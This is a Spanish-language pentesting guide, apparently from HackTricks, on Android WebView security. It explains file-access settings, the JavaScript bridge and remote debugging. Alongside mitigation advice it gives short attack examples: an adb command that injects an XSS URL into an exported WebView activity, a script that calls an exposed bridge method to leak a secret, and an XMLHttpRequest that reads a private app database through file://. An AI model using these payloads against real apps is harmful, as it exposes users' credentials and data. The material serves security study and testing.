Webview Attacks
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Gu铆a sobre Configuraciones y Seguridad de WebView
Descripci贸n General de las Vulnerabilidades de WebView
Un aspecto cr铆tico del desarrollo en Android implica el manejo correcto de WebViews. Esta gu铆a destaca configuraciones clave y pr谩cticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
Acceso a Archivos en WebViews
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla mediante el m茅todo setAllowFileAccess()
, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (file://path/to/file
).
Caracter铆sticas Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs
- Acceso Universal Desde URLs de Archivos: Esta caracter铆stica obsoleta permit铆a solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuraci贸n predeterminada est谩 deshabilitada (
false
) para aplicaciones que apuntan a Android Jelly Bean y versiones m谩s recientes. - Para verificar esta configuraci贸n, utiliza
getAllowUniversalAccessFromFileURLs()
. - Para modificar esta configuraci贸n, utiliza
setAllowUniversalAccessFromFileURLs(boolean)
. - Acceso a Archivos Desde URLs de Archivos: Esta caracter铆stica, tambi茅n obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuraci贸n predeterminada est谩 deshabilitada para mejorar la seguridad.
- Utiliza
getAllowFileAccessFromFileURLs()
para verificar ysetAllowFileAccessFromFileURLs(boolean)
para establecer.
Carga Segura de Archivos
Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el m茅todo setAllowFileAccess()
. Con Android R y versiones superiores, la configuraci贸n predeterminada es false
.
- Verifica con
getAllowFileAccess()
. - Habilita o deshabilita con
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, aline谩ndose con la pol铆tica de Same-Origin, facilitando as铆 la gesti贸n de CORS.
loadUrl
Esta es una funci贸n com煤n utilizada para cargar URLs arbitrarias en un webview:
webview.loadUrl("<url here>")
Por supuesto, un atacante potencial nunca deber铆a poder controlar la URL que una aplicaci贸n va a cargar.
Manejo de JavaScript y Esquema de Intent
- JavaScript: Desactivado por defecto en WebViews, se puede habilitar a trav茅s de
setJavaScriptEnabled()
. Se recomienda precauci贸n, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad. - Esquema de Intent: Los WebViews pueden manejar el esquema
intent
, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucr贸 un par谩metro de WebView expuesto "support_url" que podr铆a ser explotado para ejecutar ataques de scripting entre sitios (XSS).
Ejemplo de explotaci贸n usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView 鈥揺s support_url "https://example.com/xss.html"
Javascript Bridge
Una caracter铆stica proporcionada por Android que permite a JavaScript en un WebView invocar funciones nativas de la aplicaci贸n Android. Esto se logra utilizando el m茅todo addJavascriptInterface
, que integra JavaScript con funcionalidades nativas de Android, denominado como un WebView JavaScript bridge. Se recomienda precauci贸n, ya que este m茅todo permite que todas las p谩ginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone informaci贸n sensible a trav茅s de estas interfaces.
- Se requiere extrema precauci贸n para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecuci贸n remota de c贸digo a trav茅s de JavaScript malicioso, explotando la reflexi贸n.
Implementando un JavaScript Bridge
- Las interfaces de JavaScript pueden interactuar con el c贸digo nativo, como se muestra en los ejemplos donde un m茅todo de clase se expone a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se habilita al agregar una interfaz al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- La explotaci贸n potencial a trav茅s de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a m茅todos Java expuestos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riesgos, restringe el uso del puente JavaScript al c贸digo enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos m谩s antiguos, establece el nivel m铆nimo de API en 17.
Ejecuci贸n Remota de C贸digo Basada en Reflexi贸n (RCE)
- Un m茅todo documentado permite lograr RCE a trav茅s de reflexi贸n ejecutando una carga 煤til espec铆fica. Sin embargo, la anotaci贸n
@JavascriptInterface
previene el acceso no autorizado a m茅todos, limitando la superficie de ataque.
Depuraci贸n Remota
- La depuraci贸n remota es posible con Chrome Developer Tools, lo que permite la interacci贸n y la ejecuci贸n arbitraria de JavaScript dentro del contenido de WebView.
Habilitando la Depuraci贸n Remota
- La depuraci贸n remota se puede habilitar para todos los WebViews dentro de una aplicaci贸n mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente la depuraci贸n seg煤n el estado de depuraci贸n de la aplicaci贸n:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar archivos arbitrarios
- Demuestra la exfiltraci贸n de archivos arbitrarios utilizando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Referencias
- https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
- https://github.com/authenticationfailure/WheresMyBrowser.Android
- https://developer.android.com/reference/android/webkit/WebView
- https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1
- https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.